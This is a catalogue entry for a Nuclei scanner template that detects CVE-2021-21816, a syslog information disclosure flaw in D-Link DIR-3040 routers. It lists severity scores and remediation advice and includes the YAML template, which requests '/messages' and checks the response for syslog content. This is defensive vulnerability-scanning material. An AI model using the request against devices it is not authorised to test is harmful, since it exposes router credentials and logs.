CVE-2021-21816: D-Link DIR-3040 1.13B03 - Information Disclosure
- Template: CVE-2021-21816
- Name: D-Link DIR-3040 1.13B03 - Information Disclosure
- Description: D-Link DIR-3040 1.13B03 is susceptible to information disclosure in the Syslog functionality. A specially crafted HTTP network request can lead to the disclosure of sensitive information. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
- Impact: An attacker can exploit this vulnerability to gain sensitive information from the router, potentially leading to further attacks.
- Remediation: Upgrade the router firmware to the latest version provided by D-Link.
- Severity: medium
- Authors: gy741
- Tags: cve2021, cve, dlink, exposure, router, syslog, vuln
- References: https://talosintelligence.com/vulnerability_reports/TALOS-2021-1281, https://nvd.nist.gov/vuln/detail/CVE-2021-21816, https://github.com/ARPSyndicate/cvemon, https://github.com/ARPSyndicate/kenzer-templates
- Cves: CVE-2021-21816
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-21816.yaml
- Digest: 4b0a00483046022100e0b82e7f0a2686c49552a593480bd06ad17b8f9a9793a8329bc3a8e7efc97608022100c591eaa2e5e5321971eb7805de88506bebfac420c184121c0f4fbaa6293d41ee
- Created at: 2021-08-02T15:47:00Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1940
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21816.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-200
- Cvss score: 4.3
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
- Epss score: 0.32385
- Epss percentile: 0.9837
- Cpe: cpe:2.3:o:dlink:dir-3040_firmware:1.13b03:*:*:*:*:*:*:*
Metadata
- Max-request: 1
- Product: dir-3040_firmware
- Vendor: dlink
Products
| Product | Indexed | Url |
|---|---|---|
| dlink:dir-3040_firmware | yes | /v1/products/dlink/dir-3040_firmware |
Labels
- Name: D-Link DIR-3040 - Information Disclosure
- Impact: Attackers can access sensitive information, compromise user accounts, and perform unauthorized operations on the device.
- Remediation: Update to the latest firmware version provided by D-Link that addresses this vulnerability.
- Vulnerability impact: information_disclosure, data_tampering
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2021-21816
- Not known: vulnerability type, requirements
```yaml
id: CVE-2021-21816
info:
name: D-Link DIR-3040 1.13B03 - Information Disclosure
author: gy741
severity: medium
description: D-Link DIR-3040 1.13B03 is susceptible to information disclosure in the Syslog functionality. A specially crafted HTTP network request can lead to the disclosure of sensitive information. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
impact: |
An attacker can exploit this vulnerability to gain sensitive information from the router, potentially leading to further attacks.
remediation: |
Upgrade the router firmware to the latest version provided by D-Link.
reference:
- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1281
- https://nvd.nist.gov/vuln/detail/CVE-2021-21816
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
cvss-score: 4.3
cve-id: CVE-2021-21816
cwe-id: CWE-200
epss-score: 0.32385
epss-percentile: 0.9837
cpe: cpe:2.3:o:dlink:dir-3040_firmware:1.13b03:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: dlink
product: dir-3040_firmware
tags: cve2021,cve,dlink,exposure,router,syslog,vuln
http:
- method: GET
path:
- "{{BaseURL}}/messages"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "syslog:"
- "admin"
- "/etc_ro/lighttpd/www"
condition: and
- type: status
status:
- 200
digest: 4b0a00483046022100e0b82e7f0a2686c49552a593480bd06ad17b8f9a9793a8329bc3a8e7efc97608022100c591eaa2e5e5321971eb7805de88506bebfac420c184121c0f4fbaa6293d41ee:922c64590222798bb761d5b6d8e72950
```